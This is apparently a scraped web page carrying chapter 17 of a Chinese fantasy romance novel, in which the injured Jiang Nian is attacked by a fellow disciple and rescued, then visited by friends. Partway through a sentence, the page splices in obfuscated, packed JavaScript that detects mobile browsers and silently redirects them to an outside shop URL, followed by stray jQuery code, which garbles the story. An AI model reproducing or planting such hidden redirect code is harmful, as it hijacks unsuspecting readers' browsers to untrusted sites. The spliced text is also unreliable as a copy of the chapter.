文趣网 > 其他小说 > 他接近我只是奉命行事 > 17.第 17 章
    姜念望着他的背影消失在石径拐角,四下看了看,前面不远处有块平整的青石,看着是个能歇脚的好地方。她慢慢地走过去坐下,长长地舒了口气。

    刚坐定,便听见小路那头传来脚步声和零星的说话声,两名学舍弟子从拐角处转出来,边走边说着什么,看样子只是路过。姜念没有在意。

    其中一人目光随意一扫,忽然落在姜念身上,脚步顿时停了下来。

    “就是她吧?”

    另一人顺着他的目光望去,脸色一变,连忙压低声音道:“算了,别招惹她。”

    “怎么?”

    “你没听说?断魂谷那个对她动手的渊族弟子,已经被关进镇安狱了。”

    那人听了,非但不怕,反而嗤笑出声:“那是他蠢,居然真敢动杀心。”

    他一边说着,一边朝姜念走了过去,满不在乎地说道:“我不过是替学舍跟她讲讲道理。”

    “她一个经脉尽毁的废人,还赖在学舍不走,难不成还不许别人说两句?”

    说话间,他已走到姜念面前,居高临下地打量着她,“姜念,你倒是真坐得住。要是我,经脉都废了,早就自己离开学舍了,何必留在这里丢人现眼。”

    姜念抬起眼看了他一下,又收回目光,没有开口。她知道行简就在附近,应该很快就会回来,没必要在这个时候与人起争执。

    见她始终沉默,那人脸上的笑意渐渐挂不住了:“怎么,哑巴了?”他说着,抬手便朝她肩头推去。

    一推虽未用上灵力,却还是让姜念踉跄了两步,经脉内一阵钻心的疼痛袭来,疼得她倒吸一口凉气。她扶住一旁的树干,缓缓稳住身形,抬眸看向对方。

    那人见状不但没有收敛,反而轻笑了一声:“看来传言是真的。”

    姜念缓缓站直身子。她知道,如今的自己绝不是眼前这人的对手。可这里是学舍,不是断魂谷。他再嚣张,也不敢当众取她性命。

    她直视那人,目光没有半分躲闪:“说完了吗?”

    那人微微一怔。

    姜念语气依旧平淡:“说完了,就让开。”

    那人眼底掠过一抹怒意,脸上的笑意一点点消失了,“你一个废人,也敢这么跟我说话?”随即,在掌心缓缓凝聚起一团灵力。

    身后的同伴见状,脸色一变,连忙低声劝道:“你疯了?”

    “怕什么?”那人嗤笑一声,“不过是给她一点教训,又不是要她的命。”

    话音落下,他手腕猛地一甩,那团灵力顿时破空而出,直奔姜念而去,劲风扑面而来。

    姜念瞳孔微缩,下意识想要侧身躲避。可经脉传来的剧痛令她动作慢了半拍,身体根本来不及避开,她本能地闭上了眼。

    心里闪过一个念头,行简才刚走,他应该会管她的吧。

    ……

    风声戛然而止,四周忽然安静了下来。

    姜念轻轻舒了一口气,缓缓睁开双眼。可站在她身前的人,却不是行简。

    一名女子正侧挡在她身前。

    她身着一袭浅色长裙,眉目清冷,方才那道袭向姜念的灵力气劲,此刻正被她轻描淡写地挡在半空,再难寸进半分。

    下一刻,女子轻轻抬手,那团灵力随即化作点点流光消散。

    那方才还满脸倨傲的弟子看到来人,脸色骤然一变,急忙行礼,“云昭殿下。”

    云昭没有理会他们,她回过身,看向姜念,那清冷的双眸自她身上缓缓掠过,似乎在确认她并未受伤后,才收回目光,重新看向那二人,“学舍之中,何时允许你们对同门出手了?”

    那弟子不敢抬头,连忙跪倒在地,慌忙解释道:“殿下误会了,弟子只是与姜师妹切磋,并无伤她之意。”

    “切磋?”云昭直勾勾地看着他,声音清冷。

    “她经脉受损,连躲避的能力都没有,你却对她出手。”

    “这也叫切磋?”

    那人顿时哑口无言。

    云昭的目光缓缓落在他尚未散尽灵力的掌心,声音清冷如山间覆雪:“修行之人,实力越强,越该知晓克制。若只知道恃强凌弱,纵然修为再高,也不过如此。”

    那人低下头,不敢辩驳。

    就在这时,一阵脚步声自不远处传来。姜念循声望去,只见行简不知何时已经走到了近处。

    他手中拿着水囊,目光从云昭身上掠过,径直穿过两名弟子,停在姜念面前。

    “先喝水。”他将水囊递到姜念手中。

    直到姜念接过水囊,他才缓缓转过身,看向跪倒在地的弟子,抬起了手。

    下一瞬。

    “砰——”

    随着一股无形的力量,那名弟子整个人猛然向后倒飞了出去,重重摔落在数丈之外。

    枝叶震颤,尘土四起。那人挣扎着撑着地面,一口鲜血猛地喷出。

    另一名弟子怔怔望着这一幕,早已被吓得面无人色,连忙“扑通”一声跪倒在地,连大气都不敢出。

    四周一片寂静。

    行简收回手,神色依旧淡漠。良久,薄唇微启:“退下。”

    那名弟子如蒙大赦,赶忙行了一礼,“是,弟子告退。”接着连滚带爬地扶起受伤的同伴,狼狈地逃离了此地。

    待那两人的身影消失在小路尽头,姜念才转向身旁的女子。她想起方才那两人的称呼,便也学着他们的样子行了一礼,轻声道:“多谢云昭殿下方才出手相助。”

    云昭轻轻颔首,“无妨。”

    她的目光随即落在一旁的行简身上,“这两日没在两仪殿见到师尊。听闻师尊近日新收了一名弟子,不知是真是假,便过来瞧瞧。”

    说完,视线重新落回姜念身上,眨了眨眼,“这么说,她便是我的师妹了?”

    “不是。”行简神色平静。

    云昭微微一怔:“不是?”

    “我只是替她疗伤。”

    “哦。”云昭应了一声,又打量了姜念一眼,“那就怪了。师尊向来不理这些闲事,弟子还是头一回见师尊亲自照顾旁人。”

    她顿了顿,话锋一转,“那方才有人对她出手,师尊为何迟迟不现身?”

    她说这句话时,语气像是在打趣。可那双眼睛,却一直落在行简身上,似乎在等一个答案。

    行简神色未变,“有你在,何须我及时出手。”

    云昭怔了一瞬,随即又笑了起来,

    “看来师尊对我倒是放心。”她一边说着,目光不经意扫过姜念手中的水囊,却没再多问什么,只是收回视线,对行简道:“对了,父亲方才让我来寻师尊,说是有事请师尊回两仪殿一趟。”

    行简轻轻颔首:“知道了。”他转身看向姜念,“可还能自己回去?”

    “可以的。”

    行简轻轻颔首,“明日下午,我再来。”

    “好。”

    行简没再多言,转身朝石径那头走去。云昭看了姜念一眼,朝她微微一笑,也跟了上去。

    二人的身影很快消失在视线尽头。

    姜念拖着身躯回到住处后,简单洗漱了一番,便躺回了床榻。或许是今日消耗太大,又或许是体内伤势尚未恢复,她这一觉睡得格外沉。

    再睁眼时,窗外已是天光大亮。

    阳光从窗户直直打下来,窗格的影子落在窗台上,她竟睡到将近正午了。

    她起身简单洗漱了一番,刚整理好衣衫,门外便传来轻轻的叩门声。

    “姜念,你醒了吗?”

    是青梧的声音。姜念快步走过去,将房门打开。

    门外,青梧正提着食盒站在那里,脸上挂着笑。凌与则站在她身后,见她打开门,眉眼间那点忧虑才悄然散去了几分。

    青梧拉住她的手,上下细细打量了一番,见她面上总算有了几分血色,这才松了口气,一边拉着她在矮桌旁坐下,一边忍不住问:“昨日疗伤可还顺利?”

    姜念笑着点了点头,“放心,一切顺利。”她弯了弯眼睛,故意将语气放得轻快了些:“我昨晚倒头就睡,一觉睡到刚刚才醒,可见恢复得不错,你们就别担心我了。”

    青梧这才松了一口气,拍了拍胸口,“那就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734618|206856||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好,这样我就不担心了。”

    凌与坐于一旁,神色舒展了几分,语气认真:“既然神君说可为你重塑经脉,你便安心随他疗伤,不必急于一时。有神君出手,定会慢慢好起来的。”

    姜念含笑应了一声。

    青梧将食盒提上桌,笑盈盈地掀开盖子,“快趁热吃。”

    她端出碟子,“今天特意给你带了糖醋鱼,还有枣泥山药糕,这两样你平时最喜欢吃,我特意让我娘做的。”

    香气扑面而来,姜念低头望去,糖醋鱼色泽鲜亮,枣泥山药糕还冒着淡淡热气。

    她的目光落在这两样吃食上,心口却毫无来由地轻轻一颤,仿佛有什么画面自脑海深处一闪而过,快得让她来不及捕捉。

    她微微怔神,待回过神时,那种熟悉的感觉已经消失得无影无踪,仿佛只是错觉。

    “怎么了?”青梧见她迟迟没有动筷,不由问道。

    姜念轻轻摇头,眨了眨眼,“没什么。”她望着青梧,笑着道:“谢谢你,青梧。”

    “跟我还客气什么。”青梧将筷子往她手里塞了塞,“快尝尝,凉了便不好吃了。”

    姜念笑着点头,执筷夹起一块鱼肉。鱼肉嫩滑,酱汁酸甜,是她熟悉的味道,“真好吃。”

    青梧听她夸赞,脸上的笑意更深了几分,“那便好,”她往姜念碗里又夹了一块枣泥山药糕,“喜欢吃我以后天天给你带,保管把你养得白白胖胖的。”

    姜念咬着软糯的枣泥山药糕,含混地答应道。

    姜念吃着,青梧和凌与便坐在一旁陪着她,有一句没一句地闲聊,待她吃完,凌与起身将碗筷收拾进食盒,又将桌面擦了擦,青梧也站了起来准备离开。

    刚走到门口,青梧忽然一拍额头,“哎呀,我怎么把这个忘了!”

    她连忙转身跑回来,从袖中取出一本略显陈旧的书册,塞到姜念手里,“给你。”

    姜念低头看去,封面上写着《天庭逸闻录》。

    青梧笑着解释道:“这里面记载了不少天庭以前发生的奇闻趣事,可有意思了。”

    “你现在不方便出门,我和凌与平日里也不能总来陪你,无聊的时候,就翻翻这本书,打发打发时间。”

    姜念拿着书册,心头一暖,“好。”

    三人又说了几句闲话,忽然,青梧像是突然想起了什么,神色一紧,赶忙拽了拽凌与的袖子:“快走快走。”

    她压低声音催促道:“神君差不多该来了,要是让他瞧见咱们一直赖在这儿,说不定又得嫌我们打扰姜念养伤了。”

    说着便匆匆朝姜念挥了挥手,还不等姜念回应,人已经拉着凌与快步出了院子。

    姜念望着他们匆匆离去的背影,忍不住扯了扯唇角,神君……有这么可怕吗?

    姜念站在门边,不由回想起与行简相识后的点点滴滴。

    初入学舍时,是他替迷路的自己指了方向。后来,有人用灵犀佩栽赃于她,也是他不动声色地替她解了围。再后来,她修炼需要灵犀佩,他又将灵犀佩借给了她。如今,她经脉尽损,又是他每日来替她疗伤。

    这样细数下来,他帮她,已经不知道帮了多少回了。

    可这几日,看他处置那些弟子时,却又毫不留情。

    姜念想了半天,眨了眨眼。

    神君,对别人,好像是有点可怕。但对她……好像又不那么可怕。

    姜念想着想着,这才想起一件事。

    灵犀佩还没有还给神君。当初神君将灵犀佩借给她修炼,如今她已能自行引气入体,这灵犀佩也该还给他了。

    他今日既然要来替自己疗伤,正好可以还给他。算算时辰,应当也快到了。

    想到这里,姜念走到床边,将手中的《天庭逸闻录》塞到枕下,转身打开床头的小木匣,小心翼翼地将灵犀佩取了出来,轻轻搁在桌上。

    做完这一切,她重新坐下,安静地等着。

    过了约莫一炷香的工夫,门外终于传来两声轻缓的叩门声。

    姜念走上前去,将门打开,行简迈步走了进来。